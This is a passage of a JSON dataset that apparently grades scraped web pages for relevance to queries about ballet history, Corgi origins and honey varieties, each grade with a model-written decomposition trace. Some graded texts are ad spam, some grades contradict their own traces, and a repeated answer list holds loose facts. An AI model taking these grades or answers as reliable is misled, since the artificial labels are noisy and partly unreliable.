                "model_trace": "Query Decomposition:\n1. {Origins of ballet}: The document provides a detailed account of the origins of ballet, mentioning the Italian Renaissance courts and the influence of Catherine de Medici and King Louis XIV -> ([1], SATISFIED)\n2. {Evolution of ballet over time}: The document discusses the transition of ballet from the courts to the stage, the establishment of a dance academy in Paris, and the development of ballet d\u2019action by Jean Georges Noverre -> ([1], SATISFIED)\n3. {Key figures in the development of modern ballet}: The document mentions key figures such as Catherine de Medici, King Louis XIV, and Jean Georges Noverre, who were instrumental in shaping ballet -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents of the query by providing detailed information on the origins, evolution, and key figures in the development of ballet. YES"
            },
            {
                "grade": "YES",
                "title": "A Brief History of Ballet",
                "url": "https://www.atlantaballet.com/resources/brief-history-of-ballet",
                "published_date": "2017-03-22",
                "text": "The history of ballet begins around 1500 in Italy. Terms like \u201cballet\u201d and \u201cball\u201d stem from the Italian word \"ballare,\" which means \"to dance.\" \nWhen Catherine de Medici of Italy married the French King Henry II, she introduced early dance styles into court life in France.\nAt first, the dancers wore masks, layers upon layers of brocaded costuming, pantaloons, large headdresses, and ornaments. Such restrictive clothing was sumptuous to look at but difficult to move in. Dance steps were composed of small hops, slides, curtsies, promenades, and gentle turns. Dancing shoes had small heels and resembled formal dress shoes rather than any contemporary ballet shoe we might recognize today.\nThe official terminology and vocabulary of ballet was gradually codified in French over the next 100 years, and during the reign of Louis XIV, the king himself performed many of the popular dances of the time. Professional dancers were hired to perform at court functions after King Louis and fellow noblemen had stopped dancing.\nA whole family of instruments evolved during this time as well. The court dances grew in size, opulence, and grandeur to the point where performances were presented on elevated platforms so that a greater audience could watch the increasingly pyrotechnic and elaborate spectacles. Jump ahead 200 years and take a look at the proscenium stage at the War Memorial Opera House -- the elevation of the stage and dramatic height of the curtained opening will remind visitors of this development first hand.\nFrom Italian roots, ballets in France and Russia developed their own stylistic character. By 1850 Russia had become a leading creative center of the dance world, and as ballet continued to evolve, certain new looks and theatrical illusions caught on and became quite fashionable. Dancing en pointe (on toe) became popular during the early part of the nineteenth century, with women often performing in white, bell-like skirts that ended at the calf. Pointe dancing was reserved for women only, and this exclusive taste for f",
                "model_trace": "Query Decomposition:\n1. [Origins of ballet]: The document discusses the origins of ballet, starting around 1500 in Italy and its introduction to France by Catherine de Medici -> ([1], SATISFIED)\n2. [Evolution of ballet over time]: The document details the evolution of ballet, including changes in costume, terminology, and the development of ballet in France and Russia -> ([1], SATISFIED)\n3. [Key figures in ballet history]: The document mentions key figures such as Catherine de Medici and King Louis XIV, but does not provide a comprehensive list of pioneering choreographers and dancers -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponents related to the origins and evolution of ballet but does not fully address the key figures who shaped modern ballet. However, it does provide some relevant historical context and mentions a few influential individuals. Given that it covers significant portions of the query, it is likely to be helpful to the user.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "A Brief History of Ballet - Illustrated by Pittsburgh Ballet Theatre",
                "url": "https://pbt.org/learn-and-engage/resources-audience-members/ballet-101/brief-history-ballet/",
                "published_date": null,
                "text": "Scroll through a brief ballet history from its where ballet originated in the 15th-century Italian renaissance courts to what ballet dance looks like in the 21st century.\nOrigin of Ballet\n King Louis XIV in Ballet de la nuit, 1653. Source: Wikipedia  \n Ballet originated in the Italian Renaissance courts of the 15th century. Noblemen and women were treated to lavish events, especially wedding celebrations, where dancing and music created an elaborate spectacle. Dancing masters taught the steps to the nobility, and the court participated in the performances. In the 16th century, Catherine de Medici\u00a0\u2014\u00a0an Italian noblewoman, wife of King Henry II of France and a great patron of the arts\u00a0\u2014\u00a0began to fund ballet in the French court. Her elaborate festivals encouraged the growth of ballet de cour, a program that included\u00a0 dance, decor, costume, song, music and poetry. A century later, King Louis XIV helped to popularize and standardize the art form. A passionate dancer, he performed many roles himself, including that of the Sun King in Ballet de la nuit. His love of ballet fostered its elevation from a past time for amateurs to an endeavor requiring professional training.\nBy 1661, a dance academy had opened in Paris, and in 1681 ballet moved from the courts to the stage. The French opera Le Triomphe de l\u2019Amour incorporated ballet elements, creating a long-standing opera-ballet tradition in France. By the mid-1700s French ballet master Jean Georges Noverre rebelled against the artifice of opera-ballet, believing that ballet could stand on its own as an art form. His notions \u2014 that ballet should contain expressive, dramatic movement that should reveal the relationships between characters \u2014 introduced the ballet d\u2019action, a dramatic style of ballet that conveys a narrative. Noverre\u2019s work is considered the precursor to the narrative ballets of the 19th century.\nThe 19th Century\n Carlotta Grisi, wearing a romantic tutu, as Giselle, 1841. Source: Wikipedia  \nEarly classical ballets such as  Giselle  and  La Sylphide  were cre",
                "model_trace": "Query Decomposition:\n1. {Origins of ballet}: The document provides detailed information on the origins of ballet in the 15th-century Italian Renaissance courts and its development in the French court under Catherine de Medici and King Louis XIV -> ([1], SATISFIED)\n2. {Evolution of ballet over time}: The document discusses the transition of ballet from the courts to the stage in the 17th century and mentions significant changes in the 18th and 19th centuries, including the introduction of ballet d\u2019action by Jean Georges Noverre -> ([1], SATISFIED)\n3. {Key figures in the development of ballet}: The document mentions key figures such as Catherine de Medici, King Louis XIV, and Jean Georges Noverre -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents of the query. It provides a summary of the origins of ballet, its evolution, and mentions pioneering figures who shaped the art form. YES"
            },
            {
                "grade": "NO",
                "title": "Who made the first modern ballet? - Quora",
                "url": "https://www.quora.com/Who-made-the-first-modern-ballet",
                "published_date": null,
                "text": "You\u2019ve done what you can to cut back your spending.   You brew coffee at home, you don\u2019t walk into Target and you refuse to order avocado toast. (Can you sense my millennial sarcasm there?)   But no matter how cognizant you are of your spending habits, you\u2019re still stuck with those inescapable monthly bills. You know which ones we\u2019re talking about: rent, utilities, cell phone bill, insurance, groceries\u2026   So if you\u2019re ready to stop paying them, follow these moves\u2026   1. Overpriced Insurance: Cancel Your Car Insurance   You might not even realize it, but your car insurance company is probably overcharging you. In fact, they\u2019re kind of counting on you not noticing. Luckily, this problem is easy to fix.   Don\u2019t waste your time browsing insurance sites for a better deal. A company called  Insurify  shows you all your options at once \u2014 people who do this save up to $996 per year.   If you tell them a bit about yourself and your vehicle, they\u2019ll send you personalized quotes so you can compare them and find the best one for you.   Tired of overpaying for car insurance? It takes just five minutes to compare your options with Insurify and   see how much you could save on car insurance.   2. Online Shopping: If You Don\u2019t Use This Free Tool, You\u2019re Overpaying on Amazon   Wouldn\u2019t it be nice if you got an alert when you\u2019re shopping online at Amazon and are about to overpay?   That\u2019s exactly what   this free service  does.   Just add it to your browser for free, and before you check out, it\u2019ll check other websites to see if your item is available for cheaper. Let\u2019s say you\u2019re shopping for a new smart vacuum, and you assume you\u2019ve found the best price. Here\u2019s when you\u2019ll get a pop up letting you know if that exact vacuum is available elsewhere for cheaper. If there are any available coupon codes, they\u2019ll also automatically be applied to your order.   In the last year, this has saved people $800 million.   You can get started in just a few clicks to   see if you\u2019re overpaying online .   3. Internet: Get One Month of Free High-Sp",
                "model_trace": "Query Decomposition:\n1. {Origins of ballet}: The document should provide information on the historical beginnings of ballet -> ([0], UNSATISFIED)\n2. {Evolution of ballet over time}: The document should discuss how ballet has changed and developed through the years -> ([0], UNSATISFIED)\n3. {Pioneering choreographers and dancers}: The document should mention key figures who have significantly contributed to the development of modern ballet -> ([0], UNSATISFIED)\n\nAssessment: The document does not contain any relevant information about the origins, evolution, or key figures in the development of modern ballet. It appears to be about financial tips and savings, which is completely unrelated to the query. NO."
            },
            {
                "grade": "NO",
                "title": "How did modern dance emerge from ballet? - Quora",
                "url": "https://www.quora.com/How-did-modern-dance-emerge-from-ballet",
                "published_date": null,
                "text": "You\u2019ve done what you can to cut back your spending.   You brew coffee at home, you don\u2019t walk into Target and you refuse to order avocado toast. (Can you sense my millennial sarcasm there?)   But no matter how cognizant you are of your spending habits, you\u2019re still stuck with those inescapable monthly bills. You know which ones we\u2019re talking about: rent, utilities, cell phone bill, insurance, groceries\u2026   So if you\u2019re ready to stop paying them, follow these moves\u2026   1. Overpriced Insurance: Cancel Your Car Insurance   You might not even realize it, but your car insurance company is probably overcharging you. In fact, they\u2019re kind of counting on you not noticing. Luckily, this problem is easy to fix.   Don\u2019t waste your time browsing insurance sites for a better deal. A company called  Insurify  shows you all your options at once \u2014 people who do this save up to $996 per year.   If you tell them a bit about yourself and your vehicle, they\u2019ll send you personalized quotes so you can compare them and find the best one for you.   Tired of overpaying for car insurance? It takes just five minutes to compare your options with Insurify and   see how much you could save on car insurance.   2. Online Shopping: If You Don\u2019t Use This Free Tool, You\u2019re Overpaying on Amazon   Wouldn\u2019t it be nice if you got an alert when you\u2019re shopping online at Amazon and are about to overpay?   That\u2019s exactly what   this free service  does.   Just add it to your browser for free, and before you check out, it\u2019ll check other websites to see if your item is available for cheaper. Let\u2019s say you\u2019re shopping for a new smart vacuum, and you assume you\u2019ve found the best price. Here\u2019s when you\u2019ll get a pop up letting you know if that exact vacuum is available elsewhere for cheaper. If there are any available coupon codes, they\u2019ll also automatically be applied to your order.   In the last year, this has saved people $800 million.   You can get started in just a few clicks to   see if you\u2019re overpaying online .   3. Internet: Get One Month of Free High-Sp",
                "model_trace": "Query Decomposition:\n1. {origins of ballet}: The document does not contain information about the origins of ballet -> ([0], UNSATISFIED)\n2. {evolution of ballet over time}: The document does not contain information about the evolution of ballet over time -> ([0], UNSATISFIED)\n3. {pioneering choreographers and dancers}: The document does not contain information about pioneering choreographers and dancers -> ([0], UNSATISFIED)\n\nAssessment: The document content is unrelated to the query about the development of modern ballet and key figures in its history. It focuses on financial advice and savings tips, which is completely off-topic.\n\nNO."
            }
        ]
    },
    {
        "query": "1. I'm trying to find information on the history and origins of the Pembroke Welsh Corgi dog breed. Can you provide some key facts about when and where this breed first emerged, its original purpose, and how it became a popular companion animal?",
        "grid_pos": [
            2,
            9
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The Pembroke Welsh Corgi is a herding dog breed that originated in Pembrokeshire, Wales. They were first bred in the 10th century to help Welsh farmers herd cattle, sheep, and horses. Over time, the Pembroke Corgi became a popular companion animal due to its friendly, intelligent, and energetic personality.\n\n2. Some of the most renowned honey varieties include Manuka honey from New Zealand, which has a distinctive robust and slightly bitter flavor, Tupelo honey from the southeastern United States with its light, delicate taste, and Buckwheat honey from Eastern Europe known for its deep, rich, and earthy notes.\n\n3. The lotus flower is highly revered in many Eastern religions and philosophies, representing purity, enlightenment, and spiritual awakening. Its ability to grow from the mud into a beautiful flower symbolizes the journey from the material world to the divine. The lotus is especially significant in Hinduism, Buddhism, and ancient Egyptian mythology.\n\n4. Ballet originated in the 15th century Italian Renaissance courts and evolved over the centuries, with key figures like Marius Petipa, Tchaikovsky, and Nijinsky helping to shape it into the classical art form we know today. Ballet went through periods of both tradition and innovation, with choreographers like Isadora Duncan and Martha Graham introducing more modern and expressive styles.\n\n5. Sacred geometry refers to the use of mathematical principles and patterns found in nature, such as the golden ratio and Fibonacci sequence, in architectural design. These principles were often incorporated into the layout and ornamentation of ancient temples, churches, and other religious structures to create a sense of harmony, balance, and connection to the divine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Pembroke Welsh Corgi | Dog Breed Facts and Information - Wag! Dog Walking",
                "url": "https://wagwalking.com/breed/pembroke-welsh-corgi",
                "published_date": "2023-01-01",
                "text": "The Pembroke Welsh Corgi is famously adored by Queen Elizabeth. The word \u201ccorgi\u201d, meaning \u201cdwarf dog\u201d appropriately describes this small, spunky breed that originated in Wales as early as the 1100s. It is believed that the Pembroke Welsh Corgi was bred from a variety of breeds when it was first being developed. The Keeshond, Schipperke, Pomeranian, Samoyed, Chow-Chow, Norwegian Elkhound, and Finnish Spitz are all thought to be part of the ancestry of this lively canine. The Pembroke Welsh Corgi has no tail, has smaller, pointed ears than the Cardigan Welsh Corgi, and has a wedge-shaped head. Its average lifespan ranges between 11 and 13 years. The average height reaches 10 to 12 inches and this dog typically weighs just under 30 pounds. The Pembroke Welsh Corgi\u2019s original purpose was to herd sheep and drive cattle by barking and biting at their heels. Today, the breed is known mostly for companion purposes. The Pembroke Welsh Corgi is described as an active, alert dog who loves to be around people. He is full of energy and maintains his watchful nature by alerting you to the presence of strangers. This breed has a medium, coarse coat with an average amount of shedding. It is important to brush him weekly to keep his shedding under control.\n\nPurpose\n\ncattle driving\n\nDate of Origin\n\n1100s\n\nAncestry\n\nkeeshond, schipperke, pomeranian, samoyed, chow chow, norwegian elkhound, spitz\n\nPembroke Welsh Corgi Health\n\nAverage Size\n\nHeight: 10-12 inches\nWeight: 22-31 lbs\n\nHeight: 10-12 inches\nWeight: 22-29 lbs\n\nIntervertebral Disc Disease\nDegenerative Myelopathy\n\nEpilepsy\n\nEye\nHip\nBlood\nX-Rays\nCT Scan\nPhysical Examination\n\nPembroke Welsh Corgi Breed History\n\nThe Pembroke Welsh Corgi originated in Wales in the 1100s. The word \u201ccorgi\u201d means \u201cdwarf dog\u201d which accurately describes this breed. There are differing accounts as to how the Pembroke Welsh Corgi originated. It is believed that the Pembroke Welsh Corgis were introduced by Flemish weavers as a working dog. While the exact ancestry of the Pembroke Welsh Corgi is often debat",
                "model_trace": "Query Decomposition:\n1. {history and origins of the Pembroke Welsh Corgi}: This document provides information on the origins of the Pembroke Welsh Corgi, including its emergence in Wales in the 1100s and its ancestry -> ([1], SATISFIED)\n2. {original purpose}: The document states that the original purpose of the Pembroke Welsh Corgi was to herd sheep and drive cattle -> ([1], SATISFIED)\n3. {how it became a popular companion animal}: The document mentions that today the breed is known mostly for companion purposes and describes its nature and characteristics that make it a good companion animal -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "History of the Pembroke Welsh Corgi",
                "url": "http://pembrokewelshcorgis.ca/about-corgis/history-of-the-pwc",
                "published_date": "2013-01-01",
                "text": "From the Official Standard:\nSome dog historians theorize that the Pembroke Welsh Corgi originated from the Swedish Vallhund (brought into the country by the Vikings) and the Welsh Herd Dog.\nThe fox-like head of the Pembroke, they claim, was accented by cross breeding to members of the Spitz family of dogs. Flemish weavers settled in the Welsh county of Pembrokeshire in the 12th century and brought the Schipperke and Pomeranian into the country. It is also thought that the Lancashire Heeler, a small black and tan cattle dog similar to the Corgi, could share in the breed\u2019s ancestry. It has been written that the small dogs with prick ears and pointed muzzles depicted on the famous statue of Anubis, the Egyptian God of the Setting Sun, were direct ancestors of the Welsh Corgi.\nWhatever his background, the final product exerted enormous appeal. Welsh people say the sturdy little Corgi has watched over their cattle and guarded their homesteads for many centuries. It is reported that every farm in the country had at least two Pembroke Corgis.\nIt is believed that the name \u201cCorgi\u201d comes from the word \u201ccur\u201d meaning \u201cto watch over\u201d and, it is significant that the Welsh pronunciation of the word is Currgi.\nRoyal patronage brought the breed international fame. In 1933, King George VI, then Duke of York, purchased a Pembroke Corgi puppy from Thelma Gray, Rozavel Kennels, for his daughters. Queen Elizabeth\u2019s keen interest in the breed continues to this day.",
                "model_trace": "Query Decomposition:\n1. {history and origins of the Pembroke Welsh Corgi}: This document provides detailed information on the origins and historical background of the Pembroke Welsh Corgi -> ([1], SATISFIED)\n2. {when and where this breed first emerged}: The document mentions the breed's origins in the Welsh county of Pembrokeshire and its possible historical connections to other breeds brought by Vikings and Flemish weavers -> ([1], SATISFIED)\n3. {original purpose}: The document states that the Pembroke Welsh Corgi was used to watch over cattle and guard homesteads -> ([1], SATISFIED)\n4. {how it became a popular companion animal}: The document details the breed's rise in popularity due to royal patronage, specifically mentioning King George VI and Queen Elizabeth -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents of the query. YES."
            },
            {
                "grade": "NO",
                "title": "Pembroke Welsh Corgi Dog Breed Information",
                "url": "https://www.akc.org/dog-breeds/pembroke-welsh-corgi/?utm_medium=social&utm_source=twitter_org&utm_campaign=breedoftheday",
                "published_date": "2022-04-21",
                "text": "alert / affectionate / smart Herding Group \u00bb The AKC has grouped all of the breeds that it registers into seven categories, or groups, roughly based on function and heritage. Breeds are grouped together because they share traits of form and function or a common heritage.\n This video file cannot be played.(Error Code: 102630) \"Pembroke Welsh Corgi\" will play after the ad Average sizes and life expectancy of the breed. Weight up to 30 pounds (male) up to 28 pounds (female) Life Expectancy 12-13 years Breed Traits & Characteristics How affectionate a breed is likely to be with family members, or other people he knows well. Some breeds can be aloof with everyone but their owner, while other breeds treat everyone they know like their best friend. A breed's level of tolerance and patience with childrens' behavior, and overall family-friendly nature. Dogs should always be supervised around young children, or children of any age who have little exposure to dogs. How generally friendly a breed is towards other dogs. Dogs should always be supervised for interactions and introductions with other dogs, but some breeds are innately more likely to get along with other dogs, both at home and in public. How much fur and hair you can expect the breed to leave behind. Breeds with high shedding will need to be brushed more frequently, are more likely to trigger certain types of allergies, and are more likely to require more consistent vacuuming and lint-rolling. How frequently a breed requires bathing, brushing, trimming, or other kinds of coat maintenance. Consider how much time, patience, and budget you have for this type of care when looking at the grooming effort needed. All breeds require regular nail trimming. How drool-prone a breed tends to be. If you're a neat freak, dogs that can leave ropes of slobber on your arm or big wet spots on your clothes may not be the right choice for you. Canine coats come in many different types, depending on the breed's purpose. Each coat type comes with different grooming needs, allergen pot",
                "model_trace": "Query Decomposition:\n1. {history and origins of the Pembroke Welsh Corgi}: The document does not mention the history or origins of the breed -> ([0], UNSATISFIED)\n2. {when and where this breed first emerged}: The document does not provide information on the emergence of the breed -> ([0], UNSATISFIED)\n3. {original purpose of the breed}: The document does not mention the original purpose of the breed -> ([0], UNSATISFIED)\n4. {how it became a popular companion animal}: The document does not provide information on how the breed became a popular companion animal -> ([0], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the key subcomponents relevant to the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Pembroke Welsh Corgi History: Where the Breed Originated",
                "url": "https://www.akc.org/expert-advice/dog-breeds/pembroke-welsh-corgi-history/",
                "published_date": null,
                "text": "The Pembroke Welsh Corgi is thought to be an \u201cenchanted\u201d breed for many reasons. This happy herder with the elfish smile captures the hearts of fanciers and pet owners worldwide.\nOriginally an all-purpose barnyard dog, the Pembroke was once invaluable to farmers in Wales. The perky four-legged farmhands escorted cows to common grazing land, watching over them, and making sure they were back home in time for milking. Other tasks the Pembroke happily performed included rodent control, guarding other livestock, and protecting the human family\u2014basically any task that didn\u2019t require legs longer than 12 inches.\nThe Pembroke is a member of the spitz family\u2014that Nordic group of dogs distinguished by a sharp-pointed muzzle, foxy face, erect and pointed ears, and a high set, gaily carried tail. Nearest relatives likely include the Swedish Vallhund, the Norwegian Buhund, and the Schipperke.\n\u201cModern-day Corgis are rarely asked to herd cattle, but their intelligence and high energy help them excel in many canine events, including agility, obedience, tracking, herding, and conformation,\u201d says Anne Bowes, Corgi breeder, AKC judge, and corresponding secretary of the Pembroke Welsh Corgi Club of America. \u201cThe fact that Corgis are extremely intelligent and responsive to their owners also makes them very popular as family pets.\u201d\nBowes, who has bred or handled over 60 Pembroke champions under the Heronsway prefix, notes the soar in popularity: from number 50 in AKC registrations in 1968 to number 25 in 2004 to number 11 of 195 breeds in 2020. She attributes much of the growth to \u201cthe breed\u2019s friendly, \u2018up\u2019 person\u00adality-game for any activity, with a smile on their face.\u201d\n \n \nCorgis Galore\nBoth the Pembroke and Cardigan Welsh Corgi are ancient breeds, possibly dating back to the 10th century (though many believe the Cardigan to be a bit older than the Pembroke), which began to disappear from Welsh farms by the early 1900s. In the 1850s, you could find Corgis on almost every farm in Wales-the spitz- influenced Pembroke with naturally d",
                "model_trace": "Query Decomposition:\n1. [History and origins of the Pembroke Welsh Corgi]: This document provides information on the breed's history, mentioning its origins in Wales and its role as a farm dog -> ([1], SATISFIED)\n2. [When and where the breed first emerged]: The document mentions that the breed dates back to the 10th century and originated in Wales -> ([1], SATISFIED)\n3. [Original purpose]: The document states that the Pembroke Welsh Corgi was originally an all-purpose barnyard dog used for herding cattle and other tasks -> ([1], SATISFIED)\n4. [How it became a popular companion animal]: The document discusses the breed's rise in popularity, noting its intelligence, high energy, and suitability as a family pet -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "Pembroke Welsh Corgi",
                "url": "https://en.wikipedia.org/wiki/Pembroke_Welsh_Corgi",
                "published_date": null,
                "text": "From Wikipedia, the free encyclopedia\n\t     Pembroke Welsh Corgi         Common nicknames Corgi, Welsh Corgi, Pembroke   Origin  Wales        Traits   Height \nDogs \n10\u201312\u00a0in (25\u201330\u00a0cm)     \nBitches \n10\u201312\u00a0in (25\u201330\u00a0cm)   Weight \nDogs \n24\u201331\u00a0lb (11\u201314\u00a0kg)     \nBitches \n24\u201328\u00a0lb (11\u201313\u00a0kg)   Coat \nMedium length, thick, weather-resist double coat   Colour \nFawn, Black &amp; Tan, Black &amp; White, Red, Sable   Life\u00a0span \n12 \u2013 15 years           Kennel club standards    The Kennel Club  \nstandard     F\u00e9d\u00e9ration Cynologique Internationale  \nstandard        Dog (domestic dog)   \n      Sable Pembroke Welsh Corgi Puppy (6 weeks old)  \nThe Pembroke Welsh Corgi (; Welsh for \"dwarf dog\" [a] ) is a cattle herding dog breed that originated in Pembrokeshire, Wales. [1]  It is one of two breeds known as a Welsh Corgi. Pembroke Welsh Corgis descended from the Spitz family of dogs. The other is the Cardigan Welsh Corgi, which descend from the Teckel family of dogs, which also produced the Dachshund. \n Pembroke Welsh Corgis are famous as the preferred breed of Queen Elizabeth II, who owned more than 30 Royal corgis during her reign. [2]  Although these dogs have been favoured by British royalty for more than seventy years, among the British public they have recently fallen into decline in terms of popularity and demand. [3]  However, they remain very popular in the United States. Cities such as New York, Boston, Los Angeles, and San Francisco hold annual \"Corgi Meetups\" in which hundreds of dogs and their owners congregate to spend the day. [4] \n The Pembroke Welsh Corgi has been ranked 11th in Stanley Coren's  The Intelligence of Dogs , which states that the breed is considered an excellent working dog. Pembroke Welsh Corgis were ranked 11th most popular breed of dog in 2020 according to the American Kennel Club. [5] \nDescription[edit]\nAppearance[edit]\n      Tricolour Pembroke Welsh Corgi  \nThe Pembroke Welsh Corgi has erect ears that are in proportion to the equilateral triangle of the head. The breed standard indicates that the",
                "model_trace": "Query Decomposition:\n1. {History and origins of the Pembroke Welsh Corgi}: The document mentions that the Pembroke Welsh Corgi originated in Pembrokeshire, Wales, and descended from the Spitz family of dogs -> ([1], SATISFIED)\n2. {Original purpose}: The document states that the Pembroke Welsh Corgi is a cattle herding dog breed -> ([1], SATISFIED)\n3. {How it became a popular companion animal}: The document mentions that Pembroke Welsh Corgis are famous as the preferred breed of Queen Elizabeth II and have been favored by British royalty, contributing to their popularity. It also notes their popularity in the United States and mentions \"Corgi Meetups\" in several cities -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "Pembroke Welsh Corgi | Dog Breed Facts and Information",
                "url": "https://wagwalking.com/breed/pembroke-welsh-corgi",
                "published_date": null,
                "text": "The Pembroke Welsh Corgi is famously adored by Queen Elizabeth. The word \u201ccorgi\u201d, meaning \u201cdwarf dog\u201d appropriately describes this small, spunky breed that originated in Wales as early as the 1100s. It is believed that the Pembroke Welsh Corgi was bred from a variety of breeds when it was first being developed. The Keeshond, Schipperke, Pomeranian, Samoyed, Chow-Chow, Norwegian Elkhound, and Finnish Spitz are all thought to be part of the ancestry of this lively canine. The Pembroke Welsh Corgi has no tail, has smaller, pointed ears than the Cardigan Welsh Corgi, and has a wedge-shaped head. Its average lifespan ranges between 11 and 13 years. The average height reaches 10 to 12 inches and this dog typically weighs just under 30 pounds. The Pembroke Welsh Corgi\u2019s original purpose was to herd sheep and drive cattle by barking and biting at their heels. Today, the breed is known mostly for companion purposes. The Pembroke Welsh Corgi is described as an active, alert dog who loves to be around people. He is full of energy and maintains his watchful nature by alerting you to the presence of strangers. This breed has a medium, coarse coat with an average amount of shedding. It is important to brush him weekly to keep his shedding under control.\u00a0\n \n \nPurpose\ncattle driving\n \nDate of Origin\n1100s\n \nAncestry\nkeeshond, schipperke, pomeranian, samoyed, chow chow, norwegian elkhound, spitz\n \nPembroke Welsh Corgi Health\n  \nAverage Size\n   Height: 10-12 inches\nWeight: 22-31 lbs\n   Height: 10-12 inches\nWeight: 22-29 lbs\nIntervertebral Disc Disease\nDegenerative Myelopathy\nEpilepsy\nEye\nHip\nBlood\nX-Rays\nCT Scan\nPhysical Examination\nPembroke Welsh Corgi Breed History\nThe Pembroke Welsh Corgi originated in Wales in the 1100s. The word \u201ccorgi\u201d means \u201cdwarf dog\u201d which accurately describes this breed. There are differing accounts as to how the Pembroke Welsh Corgi originated. It is believed that the Pembroke Welsh Corgis were introduced by Flemish weavers as a working dog. While the exact ancestry of the Pembroke Welsh Corgi is often ",
                "model_trace": "Query Decomposition:\n1. {History and origins of the Pembroke Welsh Corgi}: The document provides detailed information on the history and origins of the Pembroke Welsh Corgi, including its emergence in Wales in the 1100s and its ancestry -> ([1], SATISFIED)\n2. {Original purpose of the breed}: The document states that the original purpose of the Pembroke Welsh Corgi was to herd sheep and drive cattle -> ([1], SATISFIED)\n3. {How it became a popular companion animal}: The document mentions that today the breed is known mostly for companion purposes and describes its temperament and characteristics that make it a popular companion -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            }
        ]
    },
    {
        "query": "2. I'm doing research on the different types of honey produced around the world and their unique flavor profiles. Can you give me an overview of some of the most distinct and renowned honey varieties, where they are produced, and what makes their taste unique?",
        "grid_pos": [
            2,
            9
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The Pembroke Welsh Corgi is a herding dog breed that originated in Pembrokeshire, Wales. They were first bred in the 10th century to help Welsh farmers herd cattle, sheep, and horses. Over time, the Pembroke Corgi became a popular companion animal due to its friendly, intelligent, and energetic personality.\n\n2. Some of the most renowned honey varieties include Manuka honey from New Zealand, which has a distinctive robust and slightly bitter flavor, Tupelo honey from the southeastern United States with its light, delicate taste, and Buckwheat honey from Eastern Europe known for its deep, rich, and earthy notes.\n\n3. The lotus flower is highly revered in many Eastern religions and philosophies, representing purity, enlightenment, and spiritual awakening. Its ability to grow from the mud into a beautiful flower symbolizes the journey from the material world to the divine. The lotus is especially significant in Hinduism, Buddhism, and ancient Egyptian mythology.\n\n4. Ballet originated in the 15th century Italian Renaissance courts and evolved over the centuries, with key figures like Marius Petipa, Tchaikovsky, and Nijinsky helping to shape it into the classical art form we know today. Ballet went through periods of both tradition and innovation, with choreographers like Isadora Duncan and Martha Graham introducing more modern and expressive styles.\n\n5. Sacred geometry refers to the use of mathematical principles and patterns found in nature, such as the golden ratio and Fibonacci sequence, in architectural design. These principles were often incorporated into the layout and ornamentation of ancient temples, churches, and other religious structures to create a sense of harmony, balance, and connection to the divine."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Manuka Honey",
                "url": "https://healthywithhoney.com/manuka-honey/",
                "published_date": "2015-03-28",
                "text": "Coming from manuka, a tree that grows only in New Zealand and southeastern Australia, manuka honey is different from other honeys and it has gained a well deserved reputation. With a really strong flavor, people often described it as: earthy, oily, herbaceous, rich and complex, heather, aromatic, mineral and slightly bitter. The honey it is made from our honey bees Apis Mellifera, from two plants: Leptospermum scoparium and/or Leptospermum polygalifolium. They grow uncultivated throughout New Zealand and southeastern Australia. Is there a difference between manuka and m\u0101nuka? No. The macron above \u201ca\u201d in m\u0101nuka is used to assist in pronunciation. Food businesses can use \u201cmanuka\u201d or \u201cm\u0101nuka\u201d on food labels, referring to the same type of honey. Berringa, the super manuka honey, is the name of the honey which is made only from Leptospermum polygalifolium. It\u2019s like a cousin of Leptospermum scoparium. Kanuka Honey , comes also from Australia, but shouldn\u2019t be confused with manuka honey. Kanuka honey is made from a different tree, Kunzea ericoides, a cousin of Leptospermum, looking a lot like it. Some people say this type of honey is more valuable than manuka.Manuka honey is dark, whereas kanuka honey is pale yellow and clear, with a delicate, sweet, slightly aromatic aroma and flavor. How is manuka honey different than other honeys? All honeys have an antibacterial activity, but manuka honey has a non-peroxide activity which comes from the specific flower, and is quite different from the enzyme / peroxide activity found in the other honeys. The non-peroxide antibiotic activity is due to methylglyoxal (MGO) and bee defensin. Most honeys contain very low levels of MGO, but manuka honey contains very high levels. Thus the antibacterial activity is doubled. Yet, this component is not the only responsible for the honey\u2019s antibiotic activity. In researches, after neutralization of GMO, manuka honey retained bactericidal activity due to unknown factors. Thus, MGO cannot be directly linked and stated as the main content to th",
                "model_trace": "Query Decomposition:\n1. {Different types of honey produced around the world}: This document focuses specifically on manuka honey and mentions kanuka honey, but does not provide an overview of different types of honey around the world -> ([1], UNSATISFIED)\n2. {Unique flavor profiles of different honey varieties}: The document describes the flavor profile of manuka honey in detail, but does not cover the flavor profiles of other honey varieties -> ([1], UNSATISFIED)\n3. {Where they are produced}: The document specifies that manuka honey comes from New Zealand and southeastern Australia and briefly mentions the origin of kanuka honey -> ([1], SATISFIED)\n4. {What makes their taste unique}: The document explains what makes manuka honey's taste unique, mentioning its strong flavor and specific antibacterial properties -> ([1], SATISFIED)\n\nAssessment: The document provides detailed information about manuka honey, including its flavor profile and origin, but it does not provide an overview of different types of honey produced around the world or their unique flavor profiles. Since the key subcomponents {different types of honey produced around the world} and {unique flavor profiles of different honey varieties} are UNSATISFIED, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "New Zealand Manuka Honey | Manuka Honey New Zealand | Manuka Honey USA",
                "url": "https://manukahoneyusa.com/new-zealands-war-of-honey/",
                "published_date": "2016-11-18",
